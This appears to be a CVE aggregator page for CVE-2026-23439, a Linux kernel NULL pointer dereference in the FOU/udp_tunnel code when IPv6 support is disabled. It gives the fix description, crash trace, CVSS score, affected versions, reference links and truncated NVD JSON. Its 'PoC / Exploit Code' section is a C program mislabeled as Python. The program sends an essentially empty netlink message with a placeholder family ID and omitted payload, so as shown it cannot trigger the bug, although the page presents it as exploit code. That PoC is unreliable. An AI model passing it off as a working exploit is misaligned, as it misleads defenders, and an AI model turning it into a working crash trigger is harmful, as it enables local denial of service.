CVE-2026-23439

Description

In the Linux kernel, the following vulnerability has been resolved: udp_tunnel: fix NULL deref caused by udp_sock_create6 when CONFIG_IPV6=n When CONFIG_IPV6 is disabled, the udp_sock_create6() function returns 0 (success) without actually creating a socket. Callers such as fou_create() then proceed to dereference the uninitialized socket pointer, resulting in a NULL pointer dereference. The captured NULL deref crash: BUG: kernel NULL pointer dereference, address: 0000000000000018 RIP: 0010:fou_nl_add_doit (net/ipv4/fou_core.c:590 net/ipv4/fou_core.c:764) [...] Call Trace: <TASK> genl_family_rcv_msg_doit.constprop.0 (net/netlink/genetlink.c:1114) genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209) [...] netlink_rcv_skb (net/netlink/af_netlink.c:2550) genl_rcv (net/netlink/genetlink.c:1219) netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1344) netlink_sendmsg (net/netlink/af_netlink.c:1894) __sock_sendmsg (net/socket.c:727 (discriminator 1) net/socket.c:742 (discriminator 1)) __sys_sendto (./include/linux/file.h:62 (discriminator 1) ./include/linux/file.h:83 (discriminator 1) net/socket.c:2183 (discriminator 1)) __x64_sys_sendto (net/socket.c:2213 (discriminator 1) net/socket.c:2209 (discriminator 1) net/socket.c:2209 (discriminator 1)) do_syscall_64 (arch/x86/entry/syscall_64.c:63 (discriminator 1) arch/x86/entry/syscall_64.c:94 (discriminator 1)) entry_SYSCALL_64_after_hwframe (net/arch/x86/entry/entry_64.S:130) This patch makes udp_sock_create6 return -EPFNOSUPPORT instead, so callers correctly take their error paths. There is only one caller of the vulnerable function and only privileged users can trigger it.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Mainline)

Linux Kernel (Stable branches before patch 003343985f26...)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>

// Proof of Concept for CVE-2026-23439
// Triggers NULL pointer deref in fou_create via Netlink
int main() {
    int fd;
    struct sockaddr_nl sa;
    char buf[1024];
    struct nlmsghdr *nh;

    // Create Netlink socket
    fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (fd < 0) {
        perror("socket");
        return 1;
    }

    memset(&sa, 0, sizeof(sa));
    sa.nl_family = AF_NETLINK;
    bind(fd, (struct sockaddr *)&sa, sizeof(sa));

    memset(buf, 0, sizeof(buf));
    nh = (struct nlmsghdr *)buf;

    // Construct Netlink message targeting FOU (Foo over UDP)
    // Note: Actual family ID resolution is omitted for brevity
    nh->nlmsg_type = 0; // Replace with actual FOU family ID
    nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
    nh->nlmsg_len = NLMSG_LENGTH(0); // Payload would contain IPv6 config

    // Send malicious request to trigger udp_sock_create6 with CONFIG_IPV6=n
    sendto(fd, buf, nh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa));

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23439
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23439
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23439/
[4] VulDB https://vuldb.com/cve/CVE-2026-23439
[5] https://git.kernel.org/stable/c/003343985f26dfefd0c94b1fe1316a2de74428b9
[6] https://git.kernel.org/stable/c/12aa4b73a67d95bc739995a2d6943aec2f9785c9
[7] https://git.kernel.org/stable/c/66117dbb3dbae82f86735bf727b1d59cc677afa1
[8] https://git.kernel.org/stable/c/9f036aa0fe46c19e938f03d10e02c23f4fffae5e
[9] https://git.kernel.org/stable/c/a05a2149386f6dfb4245f522acdbef892acafc84
[10] https://git.kernel.org/stable/c/b3a6df291fecf5f8a308953b65ca72b7fc9e015d
[11] https://git.kernel.org/stable/c/ba7c9ddcdd077942b798979edb035207374d4096
[12] https://git.kernel.org/stable/c/dfc96ae0074cc47b5478a59e5aa19233e434243f

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23439", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-03T16:16:25.737", "lastModified": "2026-04-23T20:59:18.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nudp_tunnel: fix NULL deref caused by udp_sock_create6 when CONFIG_IPV6=n\n\nWhen CONFIG_IPV6 is disabled, the udp_sock_create6() function returns 0\n(success) without actually creating a socket. Callers such as\nfou_create() then proceed to dereference the uninitialized socket\npointer, resulting in a NULL pointer dereference.\n\nThe captured NULL deref crash:\n BUG: kernel NULL pointer dereference, address: 0000000000000018\n RIP: 0010:fou_nl_add_doit (net/ipv4/fou_core.c:590 net/ipv4/fou_core.c:764)\n [...]\n Call Trace:\n <TASK>\n genl_family_rcv_msg_doit.constprop.0 (net/netlink/genetlink.c:1114)\n genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)\n [...]\n netlink_rcv_skb (net/netlink/af_netlink.c:2550)\n genl_rcv (net/netlink/genetlink.c:1219)\n netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1344)\n netlink_sendmsg (net/netlink/af_netlink.c:1894)\n __sock_sendmsg (net/socket.c:727 (discriminator 1) net/socket.c:742 (discriminator 1))\n __sys_sendto (./include/linux/file.h:62 (discriminator 1) ./include/linux/file.h:83 (discriminator 1) net/socket.c:2183 (discriminator 1))\n __x64_sys_sendto (net/socket.c:2213 (discriminator 1) net/socket.c:2209 (discriminator 1) net/socket.c:2209 (discriminator 1))\n do_syscall_64 (arch/x86/entry/syscall_64.c:63 (discriminator 1) arch/x86/entry/syscall_64.c:94 (discriminator 1))\n entry_SYSCALL_64_after_hwframe (net/arch/x86/entry/entry_64.S:130)\n\nThis patch makes udp_sock_create6 return -EPFNOSUPPORT instead, so\ncallers correctly take their error paths. There is only one caller of\nthe vulnerable function and only privileged users can trigger it."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.18.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "4D166E5C-99EA-4812-A34C-54406A6FAE3E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.20", "matchCriteriaId": "E5571059-6552-48E7-9BEF-3E358C387171"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.10", "matchCriteriaId": "96D34333-38BE-4414-9E79-6EB764329581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.18:-:*:*:*:*:*:*", "matchCriteriaId": "2C941823-DB24-432E-8F78-90665662756A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCri ... (truncated)